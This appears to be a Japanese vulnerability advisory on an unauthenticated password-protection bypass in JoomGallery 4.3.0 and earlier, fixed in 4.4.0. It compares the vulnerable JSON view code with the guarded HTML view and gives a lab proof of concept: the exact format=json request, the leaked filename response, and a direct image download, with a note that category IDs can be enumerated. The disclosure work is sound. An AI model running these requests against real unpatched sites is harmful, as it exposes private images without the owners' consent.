
JoomGallery の JSON 形式を利用したパスワード保護カテゴリのバイパス
JoomGallery ≤ 4.3.0-stable — 未認証の攻撃者がパスワードゲートをバイパスして保護された画像をダウンロード可能
JoomGallery のカテゴリ JSON ビューに、未認証のアクセス制御バイパスが存在します。ギャラリーカテゴリがパスワードで保護されている場合、HTML ビューはパスワードゲートを正しく強制しますが、JSON ビュー(format=json)はこのチェックを完全にスキップします。
認証情報を持たないリモートの攻撃者は、カテゴリのタイトル、説明、および保護されたすべての画像のランダム化されたファイル名を取得し、それらの画像を直接ダウンロードできます。パスワード保護機能は、単一の HTTP リクエストでバイパスされます。
このバイパスは、カテゴリの Joomla ACL アクセスレベルが Public(access=1)に設定されている場合に限られます。Registered または Special アクセスに制限されたカテゴリは、JsonView.php:69 の ACL レイヤーで引き続きブロックされます。
| コンポーネント | 脆弱性あり | テスト済み環境 | 修正版 |
|---|---|---|---|
| JoomGallery | 4.3.0-stable | Joomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache) | 4.4.0 |
種別: 不適切なアクセス制御 (CWE-284)
必要な認証: なし — 未認証・単一の HTTP リクエスト
ファイル: site/com_joomgallery/src/View/Category/JsonView.php 76〜96行目
JoomGallery は、pw_protected フラグを使用してカテゴリのパスワード保護を実装しています。このチェックは HtmlView.php にはありますが、JsonView.php には まったくありません。
HTMLVIEW.PHP — 正常 (ガードあり)
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
$this->item->images->items = $model->getImages();
$this->item->children->items = $model->getChildren();
}
JSONVIEW.PHP — 脆弱 (ガードなし)
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent = $model->getParent();
$this->item->children->items = $model->getChildren(); // always executes
$this->item->images->items = $model->getImages(); // always executes
$this->output($this->item); // serializes full response to JSON including filenames
Joomla の format=json パラメータは、同じ URL を別の View クラスにルーティングします。各 View はアクセスチェックを独立して実施する必要があり、フレームワークはそれらを自動的に伝播しません。開発者は pw_protected ガードを HtmlView に追加しましたが、JsonView には追加しませんでした。
JoomGallery のパスワード保護は、画像ファイル名を秘密に保つことに依存しています。ファイルは /images/joomgallery/originals/ 配下に静的アセットとして保存され、サーバー側の認証なしに Apache が直接配信します。ファイル名はランダム化されており(例: secret-image-1_20260803_1951053711.jpg)、PHP/Joomla レイヤーによるパスワードチェックを通過した後にのみ開示されます。JSON バイパスは、未認証のリクエスタにファイル名を開示することでこのモデルを破壊し、攻撃チェーンを完全な画像取得まで完成させます。
ラボ構成:
pw_protected=true, access=Public)secret-image-1_20260803_1951053711.jpg)GET /index.php/component/joomgallery/category/3
結果: パスワードフォームが表示されます。カテゴリコンテンツは表示されません。

GET /index.php/gallery/categories/3-secret-gallery
結果: エイリアスパス内の直接画像アクセスはブロックされます (/3-secret-gallery)

GET /index.php?option=com_joomgallery&view=category&format=json&id=3
レスポンス (HTTP 200、認証なし):
{
"success": true,
"data": {
"title": "Secret Gallery",
"description": "<p>SENSITIVE: Internal photos — restricted access</p>",
"pw_protected": true,
"access": 1,
"images": {
"items": [
{
"title": "Secret Image 1",
"filename": "secret-image-1_20260803_1951053711.jpg",
"cattitle": "Secret Gallery",
"access": "Public"
}
]
}
}
}
pw_protected: true はパスワードが設定されていることを示しています。それにもかかわらず、ランダム化されたファイル名を含む完全なレスポンスが未認証の呼び出し元に返されます。

手順 3 で取得したファイル名を使用します
結果: HTTP 200 — 画像ファイルが Apache から直接返されます。認証は不要です。

管理者がパスワードで保護したギャラリーカテゴリは、すべて完全に侵害されます。攻撃者に必要なのは数値のカテゴリ ID だけであり、これは連番で簡単に列挙できます。